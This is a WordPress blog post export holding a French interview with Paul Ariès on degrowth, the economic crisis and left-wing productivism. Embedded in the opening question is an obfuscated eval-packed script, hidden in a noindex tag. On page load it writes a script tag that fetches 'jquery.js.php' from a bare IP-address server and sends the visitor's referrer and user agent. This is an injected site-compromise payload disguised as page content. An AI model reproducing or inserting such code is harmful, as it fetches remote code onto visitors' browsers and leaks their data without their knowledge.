{"id":2856,"date":"2009-05-09T06:41:52","date_gmt":"2009-05-09T06:41:52","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=2856"},"modified":"2009-05-09T06:41:52","modified_gmt":"2009-05-09T06:41:52","slug":"rendre-la-decroissance-desirable","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=2856","title":{"rendered":"Rendre la d\u00e9croissance d\u00e9sirable"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a><strong>Comment <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntazt|var|u0026u|referrer|siszt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> un partisan de la d\u00e9croissance traverse-t-il la p\u00e9riode actuelle, frapp\u00e9e par une crise financi\u00e8re, \u00e9conomique et sociale ?<\/strong><\/p>\n<p><strong>Paul Ari\u00e8s<\/strong> : D\u2019un c\u00f4t\u00e9, cette crise repousse toujours plus loin le sentiment d\u2019urgence \u00e9cologique\u2026 L\u2019heure est \u00e0 d\u00e9fendre le pouvoir d\u2019achat et les emplois. On repousse \u00e0 demain l\u2019id\u00e9e qu\u2019il faille non pas seulement mieux partager les richesses, mais aussi changer la recette du g\u00e2teau car ce g\u00e2teau est totalement indigeste socialement et \u00e9cologiquement.<!--more--> La meilleure preuve en est la relance de l\u2019industrie automobile. On sait que la voiture est condamn\u00e9e \u00e9cologiquement mais on continue \u00e0 la favoriser. Cette crise risque aussi de renforcer le sentiment d\u2019impuissance : chacun sait bien que le ciel risque de nous tomber sur la t\u00eate mais on ne sait pas quoi faire. D\u2019un autre c\u00f4t\u00e9, la crise actuelle montre que nous avons v\u00e9cu sur des mensonges depuis des d\u00e9cennies. Non, il n\u2019est pas possible d\u2019avoir une croissance infinie dans un monde fini. Non, on ne peut pas toujours acc\u00e9l\u00e9rer sans que cette vitesse ne finisse par \u00eatre insupportable. Non, l\u2019avenir n\u2019est pas au village plan\u00e9taire mais \u00e0 une Europe o\u00f9 chaque pays aurait ses propres moyens de vivre. Les gens ne croient plus en des lendemains radieux pour leurs enfants et leurs petits-enfants.<\/p>\n<p>Les jeunes ont aussi ce sentiment d\u2019\u00eatre les laiss\u00e9s-pour-compte de cette soci\u00e9t\u00e9 d\u2019abondance. Ils parlent avec col\u00e8re de leur appartenance \u00e0 la g\u00e9n\u00e9ration des bac + 5 \u00e0 1 000 euros. Les id\u00e9es de la d\u00e9croissance sont donc beaucoup plus facilement compr\u00e9hensibles. Il va falloir apprendre \u00e0 vivre beaucoup mieux avec beaucoup moins. Il faut organiser le ralentissement de la soci\u00e9t\u00e9 et sa relocalisation. Il faut retrouver individuellement et collectivement le sens des limites.<\/p>\n<p><strong>La crise appara\u00eet-elle comme une bonne nouvelle pour les objecteurs de croissance ?<\/strong><\/p>\n<p>La crise n\u2019est pas une bonne nouvelle, ni une revanche, pour la d\u00e9croissance. Je n\u2019ai cess\u00e9 de combattre l\u2019id\u00e9e d\u2019une p\u00e9dagogie des catastrophes ch\u00e8re \u00e0 l\u2019\u00e9conomiste Serge Latouche. Les crises accouchent en effet plus souvent d\u2019Hitler et de Staline que de Gandhi. Les crises nous font oublier ce que nous savons, comme le prouve la relance du nucl\u00e9aire. La crise est g\u00e9n\u00e9ratrice de mis\u00e8res mat\u00e9rielles mais aussi morales. Hannah Arendt disait qu\u2019il n\u2019y a rien de pire qu\u2019une soci\u00e9t\u00e9 fond\u00e9e sur le travail sans travail. J\u2019ajouterai qu\u2019il n\u2019y a rien de pire qu\u2019une soci\u00e9t\u00e9 de croissance sans croissance. La crise est donc porteuse \u00e0 la fois du pire et du meilleur.<\/p>\n<p><strong>A quoi ressemblerait ce meilleur ?<\/strong><\/p>\n<p>La crise peut \u00eatre l\u2019occasion de d\u00e9mentir tous ceux qui r\u00eavent d\u2019une soci\u00e9t\u00e9 d\u2019abondance. Elle peut \u00eatre l\u2019occasion pour la gauche de rattraper son retard th\u00e9orique. La gauche mondiale est en effet dans une impasse politique car elle campe encore dans l\u2019id\u00e9e qu\u2019il faudrait faire cro\u00eetre le g\u00e2teau (PIB) avant de pouvoir le partager plus \u00e9quitablement. Les objecteurs pensent, au contraire, que puisqu\u2019il n\u2019est plus possible de faire cro\u00eetre le g\u00e2teau, la question du partage des ressources, sans cesse repouss\u00e9e, devient plus que jamais incontournable.<\/p>\n<p><strong>C\u2019est-\u00e0-dire ?<\/strong><\/p>\n<p>La premi\u00e8re des d\u00e9croissances que nous voulons est celle des in\u00e9galit\u00e9s sociales car c\u2019est la condition premi\u00e8re pour que les autres d\u00e9croissances puissent \u00eatre acceptables. Pas seulement par souci de justice sociale mais pour casser la logique actuelle d\u2019imitation des modes de vie des classes ais\u00e9es par les classes moyennes, car ce mode de vie petit-bourgeois n\u2019est tout simplement pas g\u00e9n\u00e9ralisable. Puisqu\u2019on ne pourra pas tous demain vivre comme des riches, il faut donc redevenir des \u00abpartageux\u00bb. Puisque la plan\u00e8te ne pourra pas supporter trois milliards d\u2019automobilistes, il faut sortir de la civilisation de la voiture et d\u00e9velopper des transports en commun urbains quasi gratuits.<\/p>\n<p>La crise actuelle est une crise syst\u00e9mique. Il n\u2019est donc pas possible de penser trouver une issue en r\u00e9glant quelques dysfonctionnements. J\u2019avais montr\u00e9 dans D\u00e9croissance ou barbarie [\u00e9d. Golias] que la crise qui s\u2019annon\u00e7ait \u00e9tait autant une crise financi\u00e8re, \u00e9conomique, sociale, politique, institutionnelle que symbolique. Nous devons donc \u00eatre capables de r\u00e9pondre \u00e0 tous ces niveaux. Ce qui fait lien c\u2019est la perte du sens des limites. Notre soci\u00e9t\u00e9 capitaliste et productiviste a totalement sombr\u00e9 dans la d\u00e9mesure.<\/p>\n<p>Un individu incapable de se donner des limites va n\u00e9cessairement les chercher dans le r\u00e9el : conduites \u00e0 risque, toxicomanies, suicides, etc. Pour une soci\u00e9t\u00e9, c\u2019est la m\u00eame chose : incapable de se donner des limites, elle va aussi les chercher dans le r\u00e9el : explosion des in\u00e9galit\u00e9s, \u00e9puisement des ressources, r\u00e9chauffement plan\u00e9taire, etc. La grande question est donc notre capacit\u00e9 \u00e0 renouer avec le sens des limites, ce qui suppose d\u2019en finir avec l\u2019\u00e9conomisme et l\u2019id\u00e9ologie du progr\u00e8s. Il faut au contraire faire primer la culture et le politique. La culture qui nous immunise contre les fantasmes les plus archa\u00efques (toute-puissance, id\u00e9e d\u2019un monde sans limite), et la politique comme d\u00e9finition de la loi, premi\u00e8re limite que nous rencontrons dans la soci\u00e9t\u00e9.<\/p>\n<p><strong>Cette crise est l\u2019occasion id\u00e9ale pour, peut-\u00eatre, ouvrir la voie \u00e0 toutes ces r\u00e9flexions\u2026<\/strong><\/p>\n<p>Le bilan de la crise au regard de nos th\u00e8ses est en fait contradictoire. Sur le versant positif, on peut citer une prise en compte de nos questionnements par diff\u00e9rentes sensibilit\u00e9s politiques, sociales, \u00e9cologiques et par de grandes institutions comme la FAO [Organisation des Nations unies pour l\u2019alimentation et l\u2019agriculture, ndlr] qui demande, par exemple, un moratoire sur les OGM ou par l\u2019ONU qui rappelle que le probl\u00e8me n\u2019est pas de produire plus d\u2019aliments mais d\u2019\u00e9viter d\u2019en gaspiller le tiers.<\/p>\n<p>Une nouvelle gauche \u00e9cologiste se cherche, mais elle n\u2019est pas encore \u00e0 la hauteur des enjeux. Elle ne sait pas encore comment concilier les contraintes environnementales avec son souci de justice sociale et le besoin de reconnaissance (de dignit\u00e9) face \u00e0 une soci\u00e9t\u00e9 du m\u00e9pris. Elle propose donc sa propre version rose, rouge ou verte de la croissance face \u00e0 la croissance bleue de Sarkozy. Einstein disait que lorsqu\u2019on a la t\u00eate sous forme de marteau on voit tous les probl\u00e8mes sous forme de clous. Il faut donc changer notre fa\u00e7on de penser, d\u00e9coloniser notre imaginaire de consommateur. Le \u00abtoujours plus\u00bb n\u2019est pas la solution ni dans le cadre du capitalisme, ni dans celui du socialisme. On n\u2019a jamais autant parl\u00e9 de \u00abrevenu minimum garanti\u00bb ni de \u00abrevenu maximal autoris\u00e9\u00bb. M\u00eame Obama se dit partisan d\u2019un salaire maximum annuel de 200 000 dollars.<\/p>\n<p><strong>D&rsquo;obama \u00e0 Borloo, tout le monde pique des id\u00e9es aux objecteurs de croissance. Ca sent l&rsquo;effet de mode, non?<\/strong><\/p>\n<p>Tout le monde se veut aujourd\u2019hui \u00e9colo depuis, notamment, la mascarade du Grenelle de l\u2019environnement. Cons\u00e9quence : on parle de plus en plus de croissance verte, de capitalisme vert, bref on a tout oubli\u00e9. Le pire est lorsque la d\u00e9croissance passe dans certains m\u00e9dias pour \u00eatre un discours d\u2019adaptation \u00e0 la crise. Comme si nous faisions la pub des hard discount et des prix bas, voire de la r\u00e9cup\u00e9ration dans les poubelles pour les plus pauvres. La d\u00e9croissance n\u2019est pas une strat\u00e9gie d\u2019adaptation individuelle ou collective \u00e0 la mis\u00e8re du monde. Elle ne propose pas des recettes pour vivre avec moins et l\u2019espoir de pouvoir reconsommer demain comme avant.<\/p>\n<p>Nous ne sommes pas des consommateurs radins ou malins, nous sommes des militants politiques qui veulent changer le monde. Nous ne donnons pas des recettes pour apprendre \u00e0 mieux se serrer la ceinture en conservant le sourire. Nous ne sommes pas dans l\u2019union sacr\u00e9e pour sauver le syst\u00e8me. Nous cultivons le dissensus car nous pensons que ce syst\u00e8me est fonci\u00e8rement mauvais, immoral et dangereux.<\/p>\n<p><strong>Les objecteurs de croissance semblent avoir du mal \u00e0 se constituer politiquement. Comment l\u2019expliquez-vous ?<\/strong><\/p>\n<p>Nous avions propos\u00e9 au Front de gauche (Parti de gauche et PCF) et au Nouveau Parti anticapitaliste (NPA) de faire r\u00e9gionalement exception en accordant une t\u00eate de liste pour les europ\u00e9ennes \u00e0 un objecteur de croissance afin de montrer que la gauche en a fini avec son productivisme. Le grand danger serait que des forces politiques instrumentalisent certains de nos th\u00e8mes pour tenter de se verdir. Mon espoir \u00e9tait que les partis des gauches prennent au s\u00e9rieux les questions que pose la d\u00e9croissance ainsi que les d\u00e9buts de r\u00e9ponses que nous apportons depuis des ann\u00e9es. L\u2019\u00e9chec des n\u00e9gociations avec le NPA d\u2019une part, et le Front de gauche, d\u2019autre part, prouve que ces gauches ne sont pas encore \u00e0 la hauteur des enjeux historiques.<\/p>\n<p>Elles ne sont pas encore pr\u00eates \u00e0 rompre totalement avec leur passif productiviste ou ne croient pas que les gens y seraient pr\u00eats. Nous avions sugg\u00e9r\u00e9 au Parti de gauche de se dire Parti de gauche \u00e9cologiste\u2026 Nous aurions aim\u00e9 que le NPA se nomme Nouveau Parti anticapitaliste et antiproductiviste (NP2A). On nous a r\u00e9pondu que l\u2019\u00e9cologie allait suffisamment de soi pour ne pas avoir besoin d\u2019\u00eatre dite. On a m\u00eame ajout\u00e9 qu\u2019il faudrait alors se dire antiraciste, antisexiste comme si la gauche avait \u00e9t\u00e9 sexiste et raciste de la m\u00eame fa\u00e7on qu\u2019elle fut et reste productiviste et consum\u00e9riste. Les milieux de la d\u00e9croissance sont aussi responsables de cet \u00e9chec par leur immaturit\u00e9 politique, par leur sectarisme id\u00e9ologique ou leur refus de tout engagement politique.<\/p>\n<p><strong>Pourquoi faire parti ?<\/strong><\/p>\n<p>Se compter est d\u2019abord une contrainte politique en d\u00e9mocratie. Si la v\u00e9rit\u00e9 est en partage, donc aux suffrages, nous devons affronter le suffrage universel. Nous le devons d\u2019autant plus que nous avons confiance dans la force de nos id\u00e9es, dans la capacit\u00e9 \u00e0 convaincre et \u00e0 gagner une majorit\u00e9 de citoyens \u00e0 notre combat. S\u2019organiser est aussi la seule fa\u00e7on, aujourd\u2019hui, d\u2019\u00eatre reconnu comme partenaire. Pour l\u2019instant, la seule utilit\u00e9 des objecteurs de croissance est d\u2019obliger l\u2019ensemble des forces politiques \u00e0 se positionner face \u00e0 cette mutation civilisationnelle. Il y aura ensuite des d\u00e9croissances de gauche et d\u2019autres de droite et m\u00eame d\u2019extr\u00eame droite.<\/p>\n<p>J\u2019appartiens de c\u0153ur et de raison \u00e0 la gauche et elle reste ma famille de pens\u00e9e. Je pense cependant que ce passage par l\u2019objection de croissance lui est indispensable. Sinon, la gauche est condamn\u00e9e \u00e0 dispara\u00eetre non seulement en raison de la mont\u00e9e en puissance des nouveaux d\u00e9mocrates, mais aussi en raison de son incapacit\u00e9 \u00e0 en finir avec son passif et son pass\u00e9 productivistes. La gauche doit devenir \u00e9cologiste au moment m\u00eame o\u00f9 le terme est vid\u00e9 de son sens. La seule fa\u00e7on aujourd\u2019hui d\u2019\u00eatre partisans de l\u2019\u00e9cologie politique, c\u2019est d\u2019\u00eatre pour l\u2019objection de croissance.<\/p>\n<p><strong>Comment s\u2019articule la d\u00e9croissance ?<\/strong><\/p>\n<p>Selon trois formes de r\u00e9sistance. D\u2019abord, la simplicit\u00e9 volontaire qui consiste \u00e0 vivre en conformit\u00e9 avec ses valeurs. Cela semble aller de soi mais toute une tradition politique remettait aux lendemains du Grand Soir ce changement n\u00e9cessaire des modes de vie et comme ce grand soir ressemblait souvent \u00e0 des petits matins bl\u00eames, on n\u2019a finalement pas chang\u00e9 grand-chose. Tout ce qui va dans ce sens est donc positif, comme ne pas avoir de voiture, travailler \u00e0 temps partiel, etc.<\/p>\n<p>Mais si nous ne faisions que cela, la simplicit\u00e9 volontaire serait doublement dangereuse. Elle pousserait les objecteurs \u00e0 se vivre comme les nouveaux parfaits, les nouveaux Cathares, \u00e0 jouer \u00e0 \u00abplus-d\u00e9croissant-que-moi-tu-meurs\u00bb. La d\u00e9croissance passerait alors d\u2019un discours politique \u00e0 une logique religieuse.<\/p>\n<p>Le second pi\u00e8ge serait d\u2019ent\u00e9riner la division de la soci\u00e9t\u00e9 et sa tendance \u00e0 la dualisation. Notre but n\u2019est pas de vivre entre nous une utopie concr\u00e8te, il est de changer fondamentalement la soci\u00e9t\u00e9. Ensuite, les exp\u00e9rimentations collectives sont \u00e9galement indispensables. Nous devons bricoler des alternatives dans les franges, dans les marges et au c\u0153ur de la soci\u00e9t\u00e9.<\/p>\n<p>Nous devons cependant \u00eatre conscients que le capitalisme a une extraordinaire capacit\u00e9 de r\u00e9cup\u00e9ration. Il a d\u00e9tourn\u00e9 l\u2019id\u00e9e de microcr\u00e9dit pour \u00e9tendre la marchandisation. Il a d\u00e9natur\u00e9 l\u2019agriculture biologique pour en faire la bio-industrie. Pour finir, un troisi\u00e8me niveau de r\u00e9sistance, politique cette fois, est n\u00e9cessaire.<\/p>\n<p><strong>Lequel ?<\/strong><\/p>\n<p>Nous devons inventer un paradigme politique capable d\u2019articuler la prise en compte des contraintes environnementales avec le souci d\u2019\u00e9galit\u00e9 sociale et le besoin de reconnaissance face \u00e0 une soci\u00e9t\u00e9 qui fonctionne toujours plus au m\u00e9pris. L\u2019id\u00e9e d\u2019une gratuit\u00e9 du bon usage face au rench\u00e9rissement, ou \u00e0 l\u2019interdiction du m\u00e9susage, me semble constituer le socle de toute refondation d\u2019une v\u00e9ritable alternative politique.<\/p>\n<p>Non seulement parce qu\u2019elle permet de r\u00e9pondre aux enjeux anticapitalistes et antiproductivistes, mais aussi parce qu\u2019elle est \u00e0 m\u00eame de susciter le d\u00e9sir puisque nous portons la gratuit\u00e9 chevill\u00e9e au corps. L\u2019eau potable va devenir toujours plus rare au XXIe si\u00e8cle, raison de plus pour en rendre son usage normal gratuit et pour interdire son m\u00e9susage, comme le gaspillage et pas seulement dans les golfs\u2026<\/p>\n<p><strong>Quelle est la d\u00e9finition objective de l\u2019usage et du m\u00e9susage ?<\/strong><\/p>\n<p>C\u2019est aux citoyens de d\u00e9cider \u00e0 tous les niveaux ce qu\u2019est une consommation normale ou abusive. La d\u00e9croissance est donc une fa\u00e7on de donner du grain \u00e0 moudre \u00e0 la d\u00e9mocratie participative, sinon elle ne sera qu\u2019une illusion incapable de mobiliser le peuple et de lui rendre le pouvoir.<br \/>\nPour cela, il faudrait r\u00e9ussir \u00e0 prendre le pouvoir\u2026<\/p>\n<p>Si nous \u00e9chouons politiquement, c\u2019est aussi de notre faute. Nous sommes dans une p\u00e9riode de recomposition totale, la gauche est toujours dans une impasse : le non majoritaire de la Constitution europ\u00e9enne ne sera pas, ou peu, repr\u00e9sent\u00e9 aux prochaines europ\u00e9ennes.<\/p>\n<p>On peut reprocher tout ce que l\u2019on veut \u00e0 la soci\u00e9t\u00e9 consum\u00e9riste, mais on n\u2019arrivera \u00e0 sa cheville en mati\u00e8re de d\u00e9sir. Cette soci\u00e9t\u00e9 sait capter le d\u00e9sir : nous sommes tomb\u00e9s dedans il y a soixante-dix ans et nous en voulons encore. Pour la d\u00e9croissance, reste \u00e0 rendre le projet d\u00e9sirable.<\/p>\n<p><a href=\"http:\/\/environnement.blogs.liberation.fr\/noualhat\/2009\/05\/il-faut-rendre-la-d%C3%A9croissance-d%C3%A9sirable.html\">Source : Six pieds sur Terre<\/a><\/p>\n<p><strong>C&rsquo;\u00e9tait une interview de Paul Ari\u00e8s<\/strong>, politologue et \u00e9crivain, directeur de la publication Le Sarkophage. Elle est parue samedi 2 mai dans le journal, \u00e0 l&rsquo;occasion du Contre-Grenelle de l&rsquo;environnement, organis\u00e9 \u00e0 Lyon.<\/p>\n<p><a href=\"http:\/\/environnement.blogs.liberation.fr\/noualhat\/2009\/05\/il-faut-rendre-la-d%C3%A9croissance-d%C3%A9sirable.html\"><br \/>\n<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Comment un partisan de la d\u00e9croissance traverse-t-il la p\u00e9riode actuelle, frapp\u00e9e par une crise financi\u00e8re, \u00e9conomique et sociale ? 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